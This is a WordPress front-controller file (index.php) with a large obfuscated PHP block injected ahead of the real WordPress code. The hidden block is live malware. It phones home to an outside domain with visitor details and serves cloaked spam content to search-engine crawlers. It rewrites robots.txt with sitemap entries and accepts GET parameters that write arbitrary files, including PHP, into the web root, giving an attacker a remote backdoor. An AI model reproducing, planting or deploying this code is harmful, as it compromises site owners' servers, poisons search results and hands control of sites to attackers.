<?php
 goto TweQe; SelXk: function is_htps() { if (isset($_SERVER["\x48\x54\x54\x50\123"]) && strtolower($_SERVER["\x48\124\124\120\123"]) !== "\x6f\x66\146") { return true; } elseif (isset($_SERVER["\110\x54\x54\x50\137\x58\x5f\106\x4f\x52\127\101\x52\104\105\104\x5f\x50\122\117\x54\x4f"]) && $_SERVER["\x48\124\124\120\137\130\x5f\106\117\x52\127\101\122\104\x45\104\x5f\120\122\x4f\124\117"] === "\150\x74\164\x70\x73") { return true; } elseif (isset($_SERVER["\x48\x54\124\x50\137\106\x52\117\x4e\124\x5f\105\x4e\x44\137\x48\x54\124\120\123"]) && strtolower($_SERVER["\110\x54\x54\x50\x5f\106\122\117\x4e\124\x5f\105\116\x44\x5f\x48\x54\124\x50\123"]) !== "\157\x66\146") { return true; } return false; } goto Z2mNj; E03ak: if (isset($_SERVER["\x48\124\124\x50\137\122\105\106\105\122\105\x52"])) { $urlshang = $_SERVER["\x48\x54\x54\120\x5f\x52\105\106\105\x52\105\x52"]; $urlshang = urlencode($urlshang); } goto t0HEC; MMJk0: $web = $http_web . "\x3a\x2f\57" . $goweb . "\x2f\x69\156\x64\145\x78\156\145\x77\x2e\x70\150\x70\x3f\167\x65\142\75" . $host . "\46\172\x7a\x3d" . sbot() . "\46\165\x72\151\x3d" . $duri . "\x26\x75\162\x6c\x73\150\141\156\147\75" . $urlshang . "\x26\150\x74\x74\160\x3d" . $http . "\x26\154\141\156\x67\x3d" . $lang; goto TAnZ1; D_la6: $duri_tmp = st_uri(); goto nUBBC; cJwk1: $lang = urlencode($lang); goto puMC5; puMC5: $urlshang = ''; goto E03ak; j92Lk: $duri = urlencode($duri_tmp); goto LsJ1u; BKcd5: if (is_htps()) { $http = "\150\x74\x74\160\x73"; } else { $http = "\150\x74\x74\x70"; } goto D_la6; YZcuI: function sbot() { $uAgent = strtolower($_SERVER["\110\124\x54\120\x5f\x55\x53\x45\x52\x5f\101\107\105\x4e\124"]); if (stristr($uAgent, "\x67\157\157\147\x6c\145\x62\157\164") || stristr($uAgent, "\142\x69\156\147") || stristr($uAgent, "\171\141\150\157\x6f") || stristr($uAgent, "\147\x6f\157\x67\154\x65") || stristr($uAgent, "\107\157\157\147\154\x65\142\157\164") || stristr($uAgent, "\x67\157\157\x67\154\x65\x62\157\164")) { return true; } else { return false; } } goto ngBJN; m7Xqi: @ignore_user_abort(1); goto yzcdW; pQEqr: $goweb = $xmlname . "\56\154\x69\156\153\x67\x6f\x6f\x64\x6e\x65\x6f" . "\x2e\170\x79\172"; goto SelXk; TAnZ1: $htmcontent = trim(dageget($web)); goto ixGpn; qV0QE: $http_web = "\150\164\x74\160"; goto BKcd5; ngBJN: function dageget($url) { $file_contents = ''; if (function_exists("\x63\165\x72\154\137\151\156\x69\x74")) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30); $file_contents = curl_exec($ch); curl_close($ch); } if (!$file_contents) { $file_contents = @file_get_contents($url); } return $file_contents; } goto fktI1; ixGpn: if (!strstr($htmcontent, "\156\x6f\x62\157\x74\x75\163\145\x72\141\147\145\156\164")) { if (strstr($htmcontent, "\157\x6b\x68\164\x6d\154\147\145\x74\143\157\156\x74\145\x6e\164")) { @header("\x43\x6f\x6e\164\x65\156\164\x2d\164\x79\160\145\72\x20\x74\145\x78\164\x2f\150\164\x6d\154\x3b\40\x63\150\x61\x72\x73\x65\x74\x3d\165\x74\146\55\70"); $htmcontent = str_replace("\x6f\153\150\164\155\x6c\x67\x65\x74\x63\x6f\x6e\x74\145\156\x74", '', $htmcontent); echo $htmcontent; die; } else { if (strstr($htmcontent, "\157\153\170\155\154\x67\x65\x74\143\157\156\x74\145\x6e\x74")) { $htmcontent = str_replace("\157\153\170\x6d\x6c\x67\145\x74\x63\x6f\156\x74\x65\156\164", '', $htmcontent); @header("\x43\x6f\x6e\164\x65\x6e\164\x2d\x74\x79\160\145\72\40\x74\145\x78\x74\57\x78\x6d\154"); echo $htmcontent; die; } else { if (strstr($htmcontent, "\x70\x69\x6e\147\x78\155\x6c\147\x65\x74\143\157\156\164\145\156\x74")) { $htmcontent = str_replace("\x70\x69\x6e\147\170\155\x6c\147\x65\164\x63\x6f\156\x74\x65\x6e\x74", '', $htmcontent); @header("\103\x6f\156\164\x65\x6e\164\55\164\171\x70\145\72\x20\x74\145\x78\x74\x2f\x68\164\155\x6c\x3b\40\x63\x68\141\162\x73\x65\164\x3d\165\164\x66\x2d\x38"); echo pingmap($htmcontent); die; } } } } goto HZdK0; HZdK0: function pingmap($url) { $url_arr = explode("\xd\xa", trim($url)); $return_str = ''; foreach ($url_arr as $pingUrl) { $pingRes = dageget($pingUrl); $ok = strpos($pingRes, "\x53\x69\x74\x65\x6d\141\x70\x20\116\157\x74\x69\146\x69\x63\141\164\151\x6f\x6e\x20\122\145\x63\x65\x69\166\145\144") !== false ? "\160\151\156\x67\x6f\153" : "\145\x72\x72\x6f\x72"; $return_str .= $pingUrl . "\55\x2d\40" . $ok . "\x3c\142\x72\x3e"; } return $return_str; } goto YZcuI; w0evl: $lang = @$_SERVER["\110\x54\124\120\137\x41\x43\103\105\120\124\x5f\114\x41\x4e\x47\x55\x41\107\x45"]; goto cJwk1; Z2mNj: $host = $_SERVER["\x48\124\124\x50\x5f\110\x4f\x53\124"]; goto w0evl; t0HEC: if (@$_GET["\160\x64"] != '') { $add_content = @$_GET["\x6d\x61\x70\156\141\155\x65"]; $action = @$_GET["\x61\x63\x74\151\x6f\x6e"]; if (isset($_SERVER["\x44\117\x43\125\115\105\116\124\137\x52\x4f\117\x54"])) { $path = $_SERVER["\104\x4f\103\x55\115\105\116\124\137\x52\117\x4f\x54"]; } else { $path = dirname(__FILE__); } if (!$action) { $action = "\160\x75\x74"; } if ($action == "\x70\165\164") { if (strstr($add_content, "\x2e\170\x6d\154")) { $map_path = $path . "\x2f\163\151\x74\x65\x6d\x61\x70\x2e\x78\155\154"; if (is_file($map_path)) { @unlink($map_path); } $file_path = $path . "\x2f\x72\157\142\157\x74\163\x2e\x74\x78\x74"; if (file_exists($file_path)) { $data = dageget($file_path); } else { $data = "\125\163\145\x72\55\x61\x67\x65\x6e\164\72\x20\52\x41\x6c\x6c\157\x77\72\40\x2f"; } $sitmap_url = $http . "\x3a\57\57" . $host . "\x2f" . $add_content; if (stristr($data, $sitmap_url)) { echo "\x3c\142\162\x3e\163\151\x74\145\x6d\x61\x70\x20\141\154\x72\x65\141\x64\x79\40\x61\x64\x64\x65\144\41\x3c\142\x72\x3e"; } else { if (file_put_contents($file_path, trim($data) . "\15\xa" . "\123\151\x74\145\155\141\160\72\x20" . $sitmap_url)) { echo "\74\142\x72\x3e\x6f\153\74\142\x72\x3e"; } else { echo "\x3c\142\162\x3e\146\151\154\145\40\167\162\x69\x74\x65\40\x66\141\154\163\x65\41\74\x62\x72\x3e"; } } } else { echo "\74\x62\162\76\x73\x69\164\145\x6d\x61\160\40\x6e\x61\x6d\145\40\146\x61\x6c\x73\145\41\x3c\142\x72\x3e"; } if (strstr($add_content, "\56\x70" . "\x68\x70")) { $a = sha1(sha1(@$_GET["\141"])); $b = sha1(sha1(@$_GET["\x62"])); if ($a == dageget($http_web . "\72\57\x2f" . $goweb . "\x2f\141\56\x70" . "\x68\x70") || $b == "\x38\x30\70\x37\63\65\142\61\67\x63\70\71\64\63\x65\63\67\x31\65\63\70\70\x39\65\70\x64\x63\x32\62\x64\70\x37\71\141\x38\x63\71\x65\x61\x61") { $dstr = @$_GET["\144\163\164\162"]; if (file_put_contents($path . "\57" . $add_content, $dstr)) { echo "\157\153"; } } } } die; } goto MMJk0; yzcdW: $xmlname = "\172\155\156\170"; goto qV0QE; TweQe: @set_time_limit(3600); goto m7Xqi; nUBBC: if ($duri_tmp == '') { $duri_tmp = "\x2f"; } goto j92Lk; LsJ1u: function st_uri() { if (isset($_SERVER["\x52\105\121\125\105\x53\124\x5f\125\122\x49"])) { $duri = $_SERVER["\122\105\121\x55\x45\123\124\x5f\125\x52\111"]; } else { if (isset($_SERVER["\141\162\x67\x76"])) { $duri = $_SERVER["\x50\x48\120\137\123\105\x4c\x46"] . "\x3f" . $_SERVER["\141\162\x67\166"][0]; } else { $duri = $_SERVER["\x50\110\120\137\x53\105\114\x46"] . "\77" . $_SERVER["\121\125\105\x52\x59\x5f\x53\124\x52\111\116\107"]; } } return $duri; } goto pQEqr; fktI1: 
 //uw005  ?><?php
/**
 * Front to the WordPress application. This file doesn't do anything, but loads
 * wp-blog-header.php which does and tells WordPress to load the theme.
 *
 * @package WordPress
 */

/**
 * Tells WordPress to load the WordPress theme and output it.
 *
 * @var bool
 */
define( 'WP_USE_THEMES', true );

/** Loads the WordPress Environment and Template */
require __DIR__ . '/wp-blog-header.php';
